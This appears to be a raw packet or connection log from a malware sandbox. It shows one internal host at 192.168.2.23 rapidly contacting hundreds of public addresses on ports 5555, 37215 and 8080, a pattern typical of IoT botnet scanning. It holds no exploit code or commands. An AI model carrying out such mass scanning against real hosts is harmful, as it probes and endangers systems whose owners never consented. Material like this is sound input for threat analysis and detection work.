Feb 12, 2023 21:24:42.612205029 CET	22272	5555	192.168.2.23	161.166.48.167
Feb 12, 2023 21:24:42.612221956 CET	22272	5555	192.168.2.23	66.100.95.230
Feb 12, 2023 21:24:42.612222910 CET	22272	5555	192.168.2.23	219.46.8.91
Feb 12, 2023 21:24:42.612226009 CET	22272	5555	192.168.2.23	123.3.74.243
Feb 12, 2023 21:24:42.612230062 CET	22272	5555	192.168.2.23	68.105.52.60
Feb 12, 2023 21:24:42.612230062 CET	22272	5555	192.168.2.23	156.100.165.192
Feb 12, 2023 21:24:42.612230062 CET	22272	5555	192.168.2.23	54.56.38.224
Feb 12, 2023 21:24:42.612231016 CET	22272	5555	192.168.2.23	69.15.78.215
Feb 12, 2023 21:24:42.612236977 CET	22272	5555	192.168.2.23	208.177.254.65
Feb 12, 2023 21:24:42.612236977 CET	22272	5555	192.168.2.23	194.99.164.244
Feb 12, 2023 21:24:42.612252951 CET	22272	5555	192.168.2.23	118.101.59.171
Feb 12, 2023 21:24:42.612256050 CET	22272	5555	192.168.2.23	161.155.40.127
Feb 12, 2023 21:24:42.612256050 CET	22272	5555	192.168.2.23	115.248.202.65
Feb 12, 2023 21:24:42.612260103 CET	22272	5555	192.168.2.23	219.200.24.157
Feb 12, 2023 21:24:42.612262011 CET	22272	5555	192.168.2.23	25.23.63.169
Feb 12, 2023 21:24:42.612262964 CET	22272	5555	192.168.2.23	44.132.135.58
Feb 12, 2023 21:24:42.612262964 CET	22272	5555	192.168.2.23	140.31.145.29
Feb 12, 2023 21:24:42.612263918 CET	22272	5555	192.168.2.23	221.111.126.34
Feb 12, 2023 21:24:42.612262964 CET	22272	5555	192.168.2.23	123.1.138.180
Feb 12, 2023 21:24:42.612262964 CET	22272	5555	192.168.2.23	197.107.251.100
Feb 12, 2023 21:24:42.612272024 CET	22272	5555	192.168.2.23	43.252.178.112
Feb 12, 2023 21:24:42.612272024 CET	22272	5555	192.168.2.23	31.28.232.39
Feb 12, 2023 21:24:42.612272024 CET	22272	5555	192.168.2.23	122.251.157.6
Feb 12, 2023 21:24:42.612282991 CET	22272	5555	192.168.2.23	183.145.100.71
Feb 12, 2023 21:24:42.612282991 CET	22272	5555	192.168.2.23	53.219.129.95
Feb 12, 2023 21:24:42.612283945 CET	22272	5555	192.168.2.23	70.7.237.102
Feb 12, 2023 21:24:42.612282991 CET	22272	5555	192.168.2.23	184.110.208.167
Feb 12, 2023 21:24:42.612284899 CET	22272	5555	192.168.2.23	144.172.178.103
Feb 12, 2023 21:24:42.612287998 CET	22272	5555	192.168.2.23	40.95.145.245
Feb 12, 2023 21:24:42.612287998 CET	22272	5555	192.168.2.23	50.38.195.202
Feb 12, 2023 21:24:42.612302065 CET	22272	5555	192.168.2.23	157.19.213.114
Feb 12, 2023 21:24:42.612304926 CET	22272	5555	192.168.2.23	128.226.214.86
Feb 12, 2023 21:24:42.612306118 CET	22272	5555	192.168.2.23	1.67.88.191
Feb 12, 2023 21:24:42.612307072 CET	22272	5555	192.168.2.23	133.42.255.167
Feb 12, 2023 21:24:42.612307072 CET	22272	5555	192.168.2.23	23.254.38.138
Feb 12, 2023 21:24:42.612319946 CET	22272	5555	192.168.2.23	99.49.247.100
Feb 12, 2023 21:24:42.612319946 CET	22272	5555	192.168.2.23	193.99.24.136
Feb 12, 2023 21:24:42.612319946 CET	22272	5555	192.168.2.23	203.253.149.125
Feb 12, 2023 21:24:42.612329960 CET	22272	5555	192.168.2.23	188.197.105.95
Feb 12, 2023 21:24:42.612330914 CET	22272	5555	192.168.2.23	172.52.158.165
Feb 12, 2023 21:24:42.612330914 CET	22272	5555	192.168.2.23	42.159.163.219
Feb 12, 2023 21:24:42.612330914 CET	22272	5555	192.168.2.23	204.169.179.182
Feb 12, 2023 21:24:42.612334013 CET	22272	5555	192.168.2.23	130.228.144.190
Feb 12, 2023 21:24:42.612334013 CET	22272	5555	192.168.2.23	72.226.126.195
Feb 12, 2023 21:24:42.612338066 CET	22272	5555	192.168.2.23	129.113.175.146
Feb 12, 2023 21:24:42.612338066 CET	22272	5555	192.168.2.23	154.119.188.112
Feb 12, 2023 21:24:42.612349987 CET	22272	5555	192.168.2.23	31.4.76.82
Feb 12, 2023 21:24:42.612351894 CET	22272	5555	192.168.2.23	72.246.85.160
Feb 12, 2023 21:24:42.612354040 CET	22272	5555	192.168.2.23	191.93.137.120
Feb 12, 2023 21:24:42.612354994 CET	22272	5555	192.168.2.23	25.253.24.162
Feb 12, 2023 21:24:42.612354994 CET	22272	5555	192.168.2.23	190.133.114.178
Feb 12, 2023 21:24:42.612376928 CET	22272	5555	192.168.2.23	221.190.168.168
Feb 12, 2023 21:24:42.612376928 CET	22272	5555	192.168.2.23	54.105.151.63
Feb 12, 2023 21:24:42.612376928 CET	22272	5555	192.168.2.23	130.28.181.151
Feb 12, 2023 21:24:42.612377882 CET	22272	5555	192.168.2.23	104.81.145.218
Feb 12, 2023 21:24:42.612376928 CET	22272	5555	192.168.2.23	176.217.83.211
Feb 12, 2023 21:24:42.612377882 CET	22272	5555	192.168.2.23	90.131.187.214
Feb 12, 2023 21:24:42.612379074 CET	22272	5555	192.168.2.23	213.96.125.1
Feb 12, 2023 21:24:42.612377882 CET	22272	5555	192.168.2.23	87.111.163.31
Feb 12, 2023 21:24:42.612379074 CET	22272	5555	192.168.2.23	125.86.154.31
Feb 12, 2023 21:24:42.612377882 CET	22272	5555	192.168.2.23	152.28.165.64
Feb 12, 2023 21:24:42.612386942 CET	22272	5555	192.168.2.23	73.122.0.211
Feb 12, 2023 21:24:42.612386942 CET	22272	5555	192.168.2.23	27.231.18.21
Feb 12, 2023 21:24:42.612395048 CET	22272	5555	192.168.2.23	212.222.6.17
Feb 12, 2023 21:24:42.612396955 CET	22272	5555	192.168.2.23	186.215.5.20
Feb 12, 2023 21:24:42.612417936 CET	22272	5555	192.168.2.23	88.233.241.90
Feb 12, 2023 21:24:42.612426996 CET	22272	5555	192.168.2.23	9.84.166.71
Feb 12, 2023 21:24:42.612427950 CET	22272	5555	192.168.2.23	198.201.30.16
Feb 12, 2023 21:24:42.612427950 CET	22272	5555	192.168.2.23	208.146.1.49
Feb 12, 2023 21:24:42.612430096 CET	22272	5555	192.168.2.23	193.122.247.122
Feb 12, 2023 21:24:42.612431049 CET	22272	5555	192.168.2.23	65.140.188.142
Feb 12, 2023 21:24:42.612430096 CET	22272	5555	192.168.2.23	27.92.106.61
Feb 12, 2023 21:24:42.612430096 CET	22272	5555	192.168.2.23	107.170.155.162
Feb 12, 2023 21:24:42.612441063 CET	22272	5555	192.168.2.23	2.119.246.61
Feb 12, 2023 21:24:42.612441063 CET	22272	5555	192.168.2.23	39.106.18.47
Feb 12, 2023 21:24:42.612441063 CET	22272	5555	192.168.2.23	1.66.207.160
Feb 12, 2023 21:24:42.612441063 CET	22272	5555	192.168.2.23	156.216.157.238
Feb 12, 2023 21:24:42.612441063 CET	22272	5555	192.168.2.23	158.101.107.37
Feb 12, 2023 21:24:42.612441063 CET	22272	5555	192.168.2.23	172.251.161.39
Feb 12, 2023 21:24:42.612452030 CET	22272	5555	192.168.2.23	146.135.111.84
Feb 12, 2023 21:24:42.612464905 CET	22272	5555	192.168.2.23	88.147.183.190
Feb 12, 2023 21:24:42.612500906 CET	56284	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:24:42.640074015 CET	55282	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:42.651240110 CET	5555	22272	147.127.250.74	192.168.2.23
Feb 12, 2023 21:24:42.651420116 CET	22272	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:42.665503979 CET	5555	22272	94.159.70.17	192.168.2.23
Feb 12, 2023 21:24:42.672065020 CET	54532	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:42.672077894 CET	55284	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:42.672091007 CET	54536	8080	192.168.2.23	49.56.55.46
Feb 12, 2023 21:24:42.672100067 CET	55288	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:42.672127008 CET	55292	8080	192.168.2.23	49.56.57.46
Feb 12, 2023 21:24:42.706048012 CET	5555	22272	156.216.157.238	192.168.2.23
Feb 12, 2023 21:24:42.723849058 CET	5555	22272	158.101.107.37	192.168.2.23
Feb 12, 2023 21:24:42.737016916 CET	5555	56284	152.30.23.146	192.168.2.23
Feb 12, 2023 21:24:42.737236023 CET	56284	5555	192.168.2.23	152.30.23.146
Feb 12, 2023 21:24:42.737296104 CET	52022	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:42.739659071 CET	34914	8080	192.168.2.23	49.49.54.46
Feb 12, 2023 21:24:42.761710882 CET	5555	22272	66.187.108.4	192.168.2.23
Feb 12, 2023 21:24:42.774667978 CET	5555	52022	147.127.250.74	192.168.2.23
Feb 12, 2023 21:24:42.774873018 CET	52022	5555	192.168.2.23	147.127.250.74
Feb 12, 2023 21:24:42.804287910 CET	52981	37215	192.168.2.23	41.149.175.116
Feb 12, 2023 21:24:42.804301977 CET	52981	37215	192.168.2.23	190.129.88.167
Feb 12, 2023 21:24:42.804318905 CET	52981	37215	192.168.2.23	157.96.219.192
Feb 12, 2023 21:24:42.804318905 CET	52981	37215	192.168.2.23	197.103.252.33
Feb 12, 2023 21:24:42.804322004 CET	52981	37215	192.168.2.23	157.130.153.190
Feb 12, 2023 21:24:42.804348946 CET	52981	37215	192.168.2.23	175.230.225.71
Feb 12, 2023 21:24:42.804353952 CET	52981	37215	192.168.2.23	197.224.123.245
Feb 12, 2023 21:24:42.804357052 CET	52981	37215	192.168.2.23	197.175.237.254
Feb 12, 2023 21:24:42.804353952 CET	52981	37215	192.168.2.23	94.94.151.97
Feb 12, 2023 21:24:42.804357052 CET	52981	37215	192.168.2.23	157.18.66.132
Feb 12, 2023 21:24:42.804377079 CET	52981	37215	192.168.2.23	155.188.65.83
Feb 12, 2023 21:24:42.804377079 CET	52981	37215	192.168.2.23	157.161.161.142
Feb 12, 2023 21:24:42.804378986 CET	52981	37215	192.168.2.23	41.115.55.234
Feb 12, 2023 21:24:42.804383039 CET	52981	37215	192.168.2.23	41.35.15.52
Feb 12, 2023 21:24:42.804383039 CET	52981	37215	192.168.2.23	157.142.63.194
Feb 12, 2023 21:24:42.804383039 CET	52981	37215	192.168.2.23	41.252.126.205
Feb 12, 2023 21:24:42.804387093 CET	52981	37215	192.168.2.23	157.211.233.25
Feb 12, 2023 21:24:42.804393053 CET	52981	37215	192.168.2.23	157.147.25.244
Feb 12, 2023 21:24:42.804400921 CET	52981	37215	192.168.2.23	157.240.150.140
Feb 12, 2023 21:24:42.804415941 CET	52981	37215	192.168.2.23	197.59.113.28
Feb 12, 2023 21:24:42.804415941 CET	52981	37215	192.168.2.23	12.50.247.200
Feb 12, 2023 21:24:42.804419041 CET	52981	37215	192.168.2.23	157.58.88.247
Feb 12, 2023 21:24:42.804425955 CET	52981	37215	192.168.2.23	41.239.187.119
Feb 12, 2023 21:24:42.804425955 CET	52981	37215	192.168.2.23	41.24.168.51
Feb 12, 2023 21:24:42.804425955 CET	52981	37215	192.168.2.23	197.77.27.64
Feb 12, 2023 21:24:42.804445028 CET	52981	37215	192.168.2.23	157.152.26.25
Feb 12, 2023 21:24:42.804451942 CET	52981	37215	192.168.2.23	157.46.249.45
Feb 12, 2023 21:24:42.804452896 CET	52981	37215	192.168.2.23	157.63.77.102
Feb 12, 2023 21:24:42.804451942 CET	52981	37215	192.168.2.23	107.233.78.152
Feb 12, 2023 21:24:42.804469109 CET	52981	37215	192.168.2.23	65.167.111.131
Feb 12, 2023 21:24:42.804481983 CET	52981	37215	192.168.2.23	157.106.1.135
Feb 12, 2023 21:24:42.804496050 CET	52981	37215	192.168.2.23	41.94.223.175
Feb 12, 2023 21:24:42.804498911 CET	52981	37215	192.168.2.23	83.52.135.85
Feb 12, 2023 21:24:42.804512024 CET	52981	37215	192.168.2.23	41.170.239.247
Feb 12, 2023 21:24:42.804514885 CET	52981	37215	192.168.2.23	157.203.29.59
Feb 12, 2023 21:24:42.804533958 CET	52981	37215	192.168.2.23	157.192.93.56
Feb 12, 2023 21:24:42.804536104 CET	52981	37215	192.168.2.23	164.132.109.172
Feb 12, 2023 21:24:42.804555893 CET	52981	37215	192.168.2.23	197.177.161.147
Feb 12, 2023 21:24:42.804558039 CET	52981	37215	192.168.2.23	197.33.252.17
Feb 12, 2023 21:24:42.804569006 CET	52981	37215	192.168.2.23	38.169.84.209
Feb 12, 2023 21:24:42.804575920 CET	52981	37215	192.168.2.23	197.242.121.106
Feb 12, 2023 21:24:42.804584026 CET	52981	37215	192.168.2.23	41.127.213.197
Feb 12, 2023 21:24:42.804584980 CET	52981	37215	192.168.2.23	147.216.103.244
Feb 12, 2023 21:24:42.804594040 CET	52981	37215	192.168.2.23	171.10.254.139
Feb 12, 2023 21:24:42.804603100 CET	52981	37215	192.168.2.23	162.196.118.41
Feb 12, 2023 21:24:42.804625988 CET	52981	37215	192.168.2.23	197.178.27.15
Feb 12, 2023 21:24:42.804625988 CET	52981	37215	192.168.2.23	97.175.97.26
Feb 12, 2023 21:24:42.804626942 CET	52981	37215	192.168.2.23	41.191.26.52
Feb 12, 2023 21:24:42.804627895 CET	52981	37215	192.168.2.23	197.221.23.160
Feb 12, 2023 21:24:42.804626942 CET	52981	37215	192.168.2.23	85.56.231.54
Feb 12, 2023 21:24:42.804629087 CET	52981	37215	192.168.2.23	197.172.192.187
Feb 12, 2023 21:24:42.804644108 CET	52981	37215	192.168.2.23	164.46.221.13
Feb 12, 2023 21:24:42.804649115 CET	52981	37215	192.168.2.23	41.118.68.248
Feb 12, 2023 21:24:42.804661036 CET	52981	37215	192.168.2.23	41.20.96.210
Feb 12, 2023 21:24:42.804672956 CET	52981	37215	192.168.2.23	41.114.79.47
Feb 12, 2023 21:24:42.804683924 CET	52981	37215	192.168.2.23	157.219.219.4
Feb 12, 2023 21:24:42.804691076 CET	52981	37215	192.168.2.23	197.142.40.64
Feb 12, 2023 21:24:42.804713011 CET	52981	37215	192.168.2.23	205.105.7.205
Feb 12, 2023 21:24:42.804714918 CET	52981	37215	192.168.2.23	150.10.141.165
Feb 12, 2023 21:24:42.804724932 CET	52981	37215	192.168.2.23	157.40.216.221
Feb 12, 2023 21:24:42.804738045 CET	52981	37215	192.168.2.23	138.174.117.166
Feb 12, 2023 21:24:42.804743052 CET	52981	37215	192.168.2.23	41.167.5.161
Feb 12, 2023 21:24:42.804750919 CET	52981	37215	192.168.2.23	197.177.114.124
Feb 12, 2023 21:24:42.804757118 CET	52981	37215	192.168.2.23	157.99.201.81
Feb 12, 2023 21:24:42.804769039 CET	52981	37215	192.168.2.23	112.162.60.108
Feb 12, 2023 21:24:42.804775000 CET	52981	37215	192.168.2.23	157.253.38.193
Feb 12, 2023 21:24:42.804785967 CET	52981	37215	192.168.2.23	167.16.219.9
Feb 12, 2023 21:24:42.804794073 CET	52981	37215	192.168.2.23	197.211.242.190
Feb 12, 2023 21:24:42.804815054 CET	52981	37215	192.168.2.23	157.172.52.179
Feb 12, 2023 21:24:42.804819107 CET	52981	37215	192.168.2.23	41.107.58.71
Feb 12, 2023 21:24:42.804822922 CET	52981	37215	192.168.2.23	157.54.237.154
Feb 12, 2023 21:24:42.804841995 CET	52981	37215	192.168.2.23	197.204.94.147
Feb 12, 2023 21:24:42.804843903 CET	52981	37215	192.168.2.23	197.177.135.217
Feb 12, 2023 21:24:42.804847956 CET	52981	37215	192.168.2.23	197.30.85.160
Feb 12, 2023 21:24:42.804858923 CET	52981	37215	192.168.2.23	159.111.61.103
Feb 12, 2023 21:24:42.804867983 CET	52981	37215	192.168.2.23	197.246.6.51
Feb 12, 2023 21:24:42.804876089 CET	52981	37215	192.168.2.23	41.181.74.90
Feb 12, 2023 21:24:42.804882050 CET	52981	37215	192.168.2.23	197.60.149.123
Feb 12, 2023 21:24:42.804893970 CET	52981	37215	192.168.2.23	90.228.56.187
Feb 12, 2023 21:24:42.804904938 CET	52981	37215	192.168.2.23	168.202.14.50
Feb 12, 2023 21:24:42.804908037 CET	52981	37215	192.168.2.23	70.83.30.72
Feb 12, 2023 21:24:42.804914951 CET	52981	37215	192.168.2.23	157.48.25.71
Feb 12, 2023 21:24:42.804925919 CET	52981	37215	192.168.2.23	41.219.200.89
Feb 12, 2023 21:24:42.804938078 CET	52981	37215	192.168.2.23	197.108.227.0
Feb 12, 2023 21:24:42.804959059 CET	52981	37215	192.168.2.23	41.239.159.2
Feb 12, 2023 21:24:42.804963112 CET	52981	37215	192.168.2.23	157.238.227.233
Feb 12, 2023 21:24:42.804970026 CET	52981	37215	192.168.2.23	157.18.44.34
Feb 12, 2023 21:24:42.804975033 CET	52981	37215	192.168.2.23	41.150.193.143
Feb 12, 2023 21:24:42.804982901 CET	52981	37215	192.168.2.23	142.158.188.101
Feb 12, 2023 21:24:42.805005074 CET	52981	37215	192.168.2.23	157.179.131.191
Feb 12, 2023 21:24:42.805005074 CET	52981	37215	192.168.2.23	197.168.58.16
Feb 12, 2023 21:24:42.805016994 CET	52981	37215	192.168.2.23	41.187.18.41
Feb 12, 2023 21:24:42.805027962 CET	52981	37215	192.168.2.23	41.60.125.127
Feb 12, 2023 21:24:42.805030107 CET	52981	37215	192.168.2.23	157.235.160.87
Feb 12, 2023 21:24:42.805043936 CET	52981	37215	192.168.2.23	197.145.221.92
Feb 12, 2023 21:24:42.805052042 CET	52981	37215	192.168.2.23	74.3.233.197
Feb 12, 2023 21:24:42.805057049 CET	52981	37215	192.168.2.23	157.190.5.77
Feb 12, 2023 21:24:42.805063963 CET	52981	37215	192.168.2.23	41.130.201.153
Feb 12, 2023 21:24:42.805075884 CET	52981	37215	192.168.2.23	197.237.121.220
Feb 12, 2023 21:24:42.805083036 CET	52981	37215	192.168.2.23	157.159.50.198
Feb 12, 2023 21:24:42.805088997 CET	52981	37215	192.168.2.23	106.53.19.10
Feb 12, 2023 21:24:42.805094004 CET	52981	37215	192.168.2.23	41.200.182.219
Feb 12, 2023 21:24:42.805103064 CET	52981	37215	192.168.2.23	41.151.211.60
Feb 12, 2023 21:24:42.805115938 CET	52981	37215	192.168.2.23	41.196.48.116
Feb 12, 2023 21:24:42.805125952 CET	52981	37215	192.168.2.23	157.195.209.226
Feb 12, 2023 21:24:42.805136919 CET	52981	37215	192.168.2.23	197.110.248.107
Feb 12, 2023 21:24:42.805150032 CET	52981	37215	192.168.2.23	157.182.14.149
Feb 12, 2023 21:24:42.805169106 CET	52981	37215	192.168.2.23	177.50.205.106
Feb 12, 2023 21:24:42.805169106 CET	52981	37215	192.168.2.23	41.251.176.131
Feb 12, 2023 21:24:42.805181980 CET	52981	37215	192.168.2.23	197.27.63.87
Feb 12, 2023 21:24:42.805195093 CET	52981	37215	192.168.2.23	43.103.116.121
Feb 12, 2023 21:24:42.805207014 CET	52981	37215	192.168.2.23	197.20.129.253
Feb 12, 2023 21:24:42.805219889 CET	52981	37215	192.168.2.23	197.108.64.209
Feb 12, 2023 21:24:42.805229902 CET	52981	37215	192.168.2.23	41.151.11.38
Feb 12, 2023 21:24:42.805233955 CET	52981	37215	192.168.2.23	157.133.208.85
Feb 12, 2023 21:24:42.805239916 CET	52981	37215	192.168.2.23	157.102.29.199
Feb 12, 2023 21:24:42.805257082 CET	52981	37215	192.168.2.23	157.119.135.220
Feb 12, 2023 21:24:42.805257082 CET	52981	37215	192.168.2.23	157.223.64.43
Feb 12, 2023 21:24:42.805269957 CET	52981	37215	192.168.2.23	71.237.145.138
Feb 12, 2023 21:24:42.805273056 CET	52981	37215	192.168.2.23	42.173.15.151
Feb 12, 2023 21:24:42.805279016 CET	52981	37215	192.168.2.23	41.82.9.161
Feb 12, 2023 21:24:42.805293083 CET	52981	37215	192.168.2.23	157.139.115.243
Feb 12, 2023 21:24:42.805299044 CET	52981	37215	192.168.2.23	157.99.160.107
Feb 12, 2023 21:24:42.805305958 CET	52981	37215	192.168.2.23	157.67.179.100
Feb 12, 2023 21:24:42.805320024 CET	52981	37215	192.168.2.23	41.221.128.123
Feb 12, 2023 21:24:42.805320024 CET	52981	37215	192.168.2.23	197.192.235.199
Feb 12, 2023 21:24:42.805334091 CET	52981	37215	192.168.2.23	41.229.44.160
Feb 12, 2023 21:24:42.805341959 CET	52981	37215	192.168.2.23	41.67.25.26
Feb 12, 2023 21:24:42.805349112 CET	52981	37215	192.168.2.23	157.65.210.1
Feb 12, 2023 21:24:42.805360079 CET	52981	37215	192.168.2.23	113.219.0.56
Feb 12, 2023 21:24:42.805372953 CET	52981	37215	192.168.2.23	197.85.89.28
Feb 12, 2023 21:24:42.805376053 CET	52981	37215	192.168.2.23	125.62.130.196
Feb 12, 2023 21:24:42.805386066 CET	52981	37215	192.168.2.23	72.203.168.212
Feb 12, 2023 21:24:42.805396080 CET	52981	37215	192.168.2.23	8.116.199.216
Feb 12, 2023 21:24:42.805407047 CET	52981	37215	192.168.2.23	157.52.121.137
Feb 12, 2023 21:24:42.805418015 CET	52981	37215	192.168.2.23	157.172.99.232
Feb 12, 2023 21:24:42.805433989 CET	52981	37215	192.168.2.23	41.199.101.198
Feb 12, 2023 21:24:42.805442095 CET	52981	37215	192.168.2.23	157.13.204.192
Feb 12, 2023 21:24:42.805452108 CET	52981	37215	192.168.2.23	41.30.221.76
Feb 12, 2023 21:24:42.805458069 CET	52981	37215	192.168.2.23	41.110.143.142
Feb 12, 2023 21:24:42.805474043 CET	52981	37215	192.168.2.23	157.221.115.112
Feb 12, 2023 21:24:42.805474997 CET	52981	37215	192.168.2.23	189.84.211.195
Feb 12, 2023 21:24:42.805489063 CET	52981	37215	192.168.2.23	197.183.27.157
Feb 12, 2023 21:24:42.805493116 CET	52981	37215	192.168.2.23	157.241.202.197
Feb 12, 2023 21:24:42.805499077 CET	52981	37215	192.168.2.23	197.250.244.7
Feb 12, 2023 21:24:42.805509090 CET	52981	37215	192.168.2.23	197.155.99.13
Feb 12, 2023 21:24:42.805516958 CET	52981	37215	192.168.2.23	41.29.152.239
Feb 12, 2023 21:24:42.805533886 CET	52981	37215	192.168.2.23	180.64.30.244
Feb 12, 2023 21:24:42.805537939 CET	52981	37215	192.168.2.23	157.94.80.233
Feb 12, 2023 21:24:42.805546045 CET	52981	37215	192.168.2.23	191.203.198.24
Feb 12, 2023 21:24:42.805562973 CET	52981	37215	192.168.2.23	197.152.35.184
Feb 12, 2023 21:24:42.805571079 CET	52981	37215	192.168.2.23	197.18.127.189
Feb 12, 2023 21:24:42.805577993 CET	52981	37215	192.168.2.23	41.69.68.100
Feb 12, 2023 21:24:42.805599928 CET	52981	37215	192.168.2.23	137.36.52.53
Feb 12, 2023 21:24:42.805600882 CET	52981	37215	192.168.2.23	157.195.34.249
Feb 12, 2023 21:24:42.805605888 CET	52981	37215	192.168.2.23	105.182.225.4
Feb 12, 2023 21:24:42.805632114 CET	52981	37215	192.168.2.23	60.124.64.233
Feb 12, 2023 21:24:42.805638075 CET	52981	37215	192.168.2.23	41.255.147.126
Feb 12, 2023 21:24:42.805651903 CET	52981	37215	192.168.2.23	197.188.180.254
Feb 12, 2023 21:24:42.805661917 CET	52981	37215	192.168.2.23	157.238.134.108
Feb 12, 2023 21:24:42.805675030 CET	52981	37215	192.168.2.23	197.82.91.76
Feb 12, 2023 21:24:42.805684090 CET	52981	37215	192.168.2.23	41.69.255.147
Feb 12, 2023 21:24:42.805690050 CET	52981	37215	192.168.2.23	157.150.209.9
Feb 12, 2023 21:24:42.805702925 CET	52981	37215	192.168.2.23	19.97.151.149
Feb 12, 2023 21:24:42.805712938 CET	52981	37215	192.168.2.23	41.50.105.53
Feb 12, 2023 21:24:42.805715084 CET	52981	37215	192.168.2.23	221.206.15.226
Feb 12, 2023 21:24:42.805727005 CET	52981	37215	192.168.2.23	19.126.227.84
Feb 12, 2023 21:24:42.805740118 CET	52981	37215	192.168.2.23	41.251.139.178
Feb 12, 2023 21:24:42.805746078 CET	52981	37215	192.168.2.23	197.251.247.86
Feb 12, 2023 21:24:42.805759907 CET	52981	37215	192.168.2.23	98.120.66.160
Feb 12, 2023 21:24:42.805768967 CET	52981	37215	192.168.2.23	41.0.35.123
Feb 12, 2023 21:24:42.805778980 CET	52981	37215	192.168.2.23	157.28.186.10
Feb 12, 2023 21:24:42.805799007 CET	52981	37215	192.168.2.23	12.169.171.67
Feb 12, 2023 21:24:42.805810928 CET	52981	37215	192.168.2.23	157.167.116.218
Feb 12, 2023 21:24:42.805825949 CET	52981	37215	192.168.2.23	197.236.241.242
Feb 12, 2023 21:24:42.805830002 CET	52981	37215	192.168.2.23	136.53.55.79
Feb 12, 2023 21:24:42.805838108 CET	52981	37215	192.168.2.23	157.208.232.209
Feb 12, 2023 21:24:42.805845022 CET	52981	37215	192.168.2.23	170.27.6.88
Feb 12, 2023 21:24:42.805855989 CET	52981	37215	192.168.2.23	157.211.74.127
Feb 12, 2023 21:24:42.805874109 CET	52981	37215	192.168.2.23	157.245.138.209
Feb 12, 2023 21:24:42.805886984 CET	52981	37215	192.168.2.23	157.153.4.169
Feb 12, 2023 21:24:42.805907011 CET	52981	37215	192.168.2.23	41.46.248.253
Feb 12, 2023 21:24:42.805908918 CET	52981	37215	192.168.2.23	41.118.222.64
Feb 12, 2023 21:24:42.805912018 CET	52981	37215	192.168.2.23	41.8.112.119
Feb 12, 2023 21:24:42.805912018 CET	52981	37215	192.168.2.23	157.136.194.77
Feb 12, 2023 21:24:42.805926085 CET	52981	37215	192.168.2.23	157.55.240.129
Feb 12, 2023 21:24:42.805932999 CET	52981	37215	192.168.2.23	197.22.236.60
Feb 12, 2023 21:24:42.805946112 CET	52981	37215	192.168.2.23	197.250.236.226
Feb 12, 2023 21:24:42.805958033 CET	52981	37215	192.168.2.23	78.120.217.104
Feb 12, 2023 21:24:42.805963993 CET	52981	37215	192.168.2.23	95.153.88.160
Feb 12, 2023 21:24:42.805965900 CET	52981	37215	192.168.2.23	157.12.198.113
Feb 12, 2023 21:24:42.805977106 CET	52981	37215	192.168.2.23	197.56.255.123
Feb 12, 2023 21:24:42.805988073 CET	52981	37215	192.168.2.23	197.78.161.44
Feb 12, 2023 21:24:42.806005001 CET	52981	37215	192.168.2.23	109.206.75.23
Feb 12, 2023 21:24:42.806024075 CET	52981	37215	192.168.2.23	197.64.161.162
Feb 12, 2023 21:24:42.806030035 CET	52981	37215	192.168.2.23	67.232.70.6
Feb 12, 2023 21:24:42.806035042 CET	52981	37215	192.168.2.23	57.143.46.109
Feb 12, 2023 21:24:42.806044102 CET	52981	37215	192.168.2.23	150.202.211.173
Feb 12, 2023 21:24:42.806056023 CET	52981	37215	192.168.2.23	197.60.181.74
Feb 12, 2023 21:24:42.806072950 CET	52981	37215	192.168.2.23	41.222.120.209
Feb 12, 2023 21:24:42.806075096 CET	52981	37215	192.168.2.23	41.165.108.115
Feb 12, 2023 21:24:42.806082010 CET	52981	37215	192.168.2.23	157.148.45.234
Feb 12, 2023 21:24:42.806091070 CET	52981	37215	192.168.2.23	197.211.144.253
Feb 12, 2023 21:24:42.806097031 CET	52981	37215	192.168.2.23	133.51.61.81
Feb 12, 2023 21:24:42.806107998 CET	52981	37215	192.168.2.23	41.33.104.182
Feb 12, 2023 21:24:42.806118011 CET	52981	37215	192.168.2.23	197.178.253.243
Feb 12, 2023 21:24:42.806135893 CET	52981	37215	192.168.2.23	197.18.197.10
Feb 12, 2023 21:24:42.806142092 CET	52981	37215	192.168.2.23	212.83.18.187
Feb 12, 2023 21:24:42.806145906 CET	52981	37215	192.168.2.23	197.167.132.9
Feb 12, 2023 21:24:42.806147099 CET	52981	37215	192.168.2.23	157.255.71.140
Feb 12, 2023 21:24:42.806148052 CET	52981	37215	192.168.2.23	157.252.82.108
Feb 12, 2023 21:24:42.806148052 CET	52981	37215	192.168.2.23	197.220.156.85
Feb 12, 2023 21:24:42.806150913 CET	52981	37215	192.168.2.23	99.160.70.14
Feb 12, 2023 21:24:42.806164026 CET	52981	37215	192.168.2.23	41.58.57.91
Feb 12, 2023 21:24:42.806169033 CET	52981	37215	192.168.2.23	157.71.153.179
Feb 12, 2023 21:24:42.806183100 CET	52981	37215	192.168.2.23	158.28.74.21
Feb 12, 2023 21:24:42.806189060 CET	52981	37215	192.168.2.23	197.227.128.241
Feb 12, 2023 21:24:42.806200981 CET	52981	37215	192.168.2.23	173.5.83.161
Feb 12, 2023 21:24:42.806211948 CET	52981	37215	192.168.2.23	157.20.124.200
Feb 12, 2023 21:24:42.806216955 CET	52981	37215	192.168.2.23	197.166.93.215
Feb 12, 2023 21:24:42.806225061 CET	52981	37215	192.168.2.23	197.118.35.115
Feb 12, 2023 21:24:42.806241035 CET	52981	37215	192.168.2.23	41.116.115.57
Feb 12, 2023 21:24:42.806256056 CET	52981	37215	192.168.2.23	197.153.0.158
Feb 12, 2023 21:24:42.806272030 CET	52981	37215	192.168.2.23	220.94.191.150
Feb 12, 2023 21:24:42.806283951 CET	52981	37215	192.168.2.23	157.170.168.240
Feb 12, 2023 21:24:42.806288958 CET	52981	37215	192.168.2.23	157.199.128.79
Feb 12, 2023 21:24:42.806303978 CET	52981	37215	192.168.2.23	199.172.94.144
Feb 12, 2023 21:24:42.806313992 CET	52981	37215	192.168.2.23	157.84.250.231
Feb 12, 2023 21:24:42.806333065 CET	52981	37215	192.168.2.23	41.222.104.164
Feb 12, 2023 21:24:42.806340933 CET	52981	37215	192.168.2.23	41.101.48.80
Feb 12, 2023 21:24:42.806340933 CET	52981	37215	192.168.2.23	5.110.244.120
Feb 12, 2023 21:24:42.806340933 CET	52981	37215	192.168.2.23	197.62.71.254
Feb 12, 2023 21:24:42.806349993 CET	52981	37215	192.168.2.23	41.45.231.226
